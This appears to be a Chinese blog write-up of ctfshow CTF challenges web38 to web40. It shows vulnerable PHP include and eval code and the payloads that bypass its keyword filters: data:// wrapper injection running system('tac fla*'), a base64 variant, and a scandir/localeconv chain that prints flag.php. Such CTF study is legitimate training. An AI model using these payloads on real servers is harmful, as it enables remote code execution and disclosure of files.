当前位置: 首页 > news >正文

CTFshow系列——命令执行web38-40

这几天也是趁着有空,多更点CTF的东西;毕竟得多方面发展是不是,不能老是盯着渗透测试和应急响应(虽然说也没少看),那多没意思。

文章目录

    • Web38
    • Web39
    • Web40(重点)
    • 总结


Web38

话不多说,直接开始:

其实Web37和Web38关中的 include 已经有点涉及到文件包含了,但大差不差。

<?php//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

可以看到,跟Web37相比,多了 php 和 file 的过滤,那么我们应该有点思路:

  • php被过滤了,但是data协议不影响,那是不是能用?
  • 至于 file 可能是针对file_get_contents 函数使用;

  • 解决方案:利用data伪协议 + 编码绕过

    • data:// 伪协议:这个协议允许你直接在URL中嵌入数据
  • 原理说明:

  • 当传入?c=data://text/plain,<?=system('tac fla*');?>时,代码会自动拼接成:

  • include(?c=data://text/plain,<?=system('tac fla*');?>);

# payload:?c=data://text/plain,<?=system('tac fla*');?>

在这里插入图片描述

Web39

看看这关有什么不一样:

<?php//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}

观察代码,我们可以发现 include($c.".php"); 这一句话,那么又与上一关的有什么区别呢?

在这里插入图片描述

include($c.".php"); 这句 PHP 代码的含义是

它会尝试包含并执行一个文件,该文件的文件名由变量 $c 的值和固定的字符串 “.php” 拼接而成。

# 上payload
?c=data://text/plain,<?=system('tac fla*');?>
# 编码后
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

疑问:那我输入?c=data://text/plain,<?=system('tac fla*');?>,代码拼接成什么样了?

  • 首先,$_GET[‘c’] 的值为 data://text/plain,<?=system('tac fla*');?>。
  • 然后,代码会执行 include($c.“.php”);,这句代码会把 $_GET[‘c’] 的值和固定的字符串 “.php” 拼接起来。
  • 所以,最终要包含的文件路径会是:data://text/plain,<?=system('tac fla*');?>.php
  • 然而,data:// 伪协议的特性决定了它不会去查找一个名为 data://… 的本地文件,而是直接将 data: 后面跟着的内容作为数据流来处理。因此,PHP 引擎会忽略 .php 后缀,直接将 <?=system('tac fla*');?> 这段代码当作 PHP 代码来执行。

Web40(重点)

<?phpif(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

其实我们一看代码,发现就是Web29~Web36 的类型(没有了include),但是这关是将所有的特殊符号都过滤掉了;
所以我们的data协议等都不能使用了,因为包含(: \ 等符号)

难道我们就没有其他办法了吗?
我们仔细观察,发现题目并没有屏蔽掉 空格 反引号 反斜杠/ 下划线_

这个时候我们就要认识一个新函数:scandir(‘.’),具体的可以看我这篇之前写的文章:scandir(‘.’)的用法
(没错,几个月前我就做过这些题目了,只是过了太久,所以忘了<(-_-)>)


看上面这篇文章应该可以知道print_r(scandir(pos(localeconv()))); 查看当前目录所有文件名:

在这里插入图片描述

  1. 这里可以用next()来输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)

  2. 但是flag在第三个怎么办?

  3. 可以用array_reverse函数,这个函数就是将数组转置;

# payload:# 打印当前目录
print_r(scandir(pos(localeconv())));
# 显示flag代码
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

这里细心的应该注意到:为什么前面都是用print_r(),到最后要用show_source() 函数?
直接看图对比就知道了:
在这里插入图片描述

对比:

在这里插入图片描述

总结

我知道很短,但没办法,我只是有空的时候写写,体谅一下,毕竟还是大学生。

http://www.lryc.cn/news/626655.html

相关文章:

  • Qt音乐播放器项目实践:本地持久化与边角问题处理
  • 小红书账号隔离:解决IP关联问题方案
  • 网络工程师考试重点:OSI七层模型TCP/IP四层模型解析
  • 【北京迅为】iTOP-4412精英版使用手册-第三十二章 网络通信-TCP套字节
  • yolo_RK3588系列(三)
  • 5.4 4pnpm 使用介绍
  • FreeRTOS---进阶知识1---列表的创建
  • SQL 中大于小于号的表示方法总结
  • Claude Code NPM 包发布命令
  • 内网安全——出网协议端口探测
  • Java开源工具Apache PDFBox(强大的处理 PDF文档工具:创建、读取、修改、解析和提取 PDF)
  • Apache ShenYu和Nacos之间的通信原理
  • 【Tech Arch】Apache Pig大数据处理的高效利器
  • Spring Boot 日志体系详解:配置与实战
  • 三、k8s 1.29 之 资源清单
  • 网络编程5(HTTPS)
  • 【考研408数据结构-08】 图论基础:存储结构与遍历算法
  • Linux的奇妙冒险——进程pcb第二讲
  • 云原生俱乐部-k8s知识点归纳(5)
  • SpringTask入门
  • 关于多个el-input的自动聚焦,每输入完一个el-input,自动聚焦到下一个
  • Rust并发编程:解锁高性能系统的密钥
  • 第12课_Rust项目实战
  • 批处理指令常见问题
  • 软考高级--系统架构设计师--案例分析真题解析
  • 【clion】cmake脚本1:调试脚本并构建Fargo项目win32版本
  • 无需驱动!单文件实现键盘按键禁用的技术方案
  • 使用Jmeter轻松实现AES加密测试
  • 01-Docker概述
  • 云计算学习100天-第26天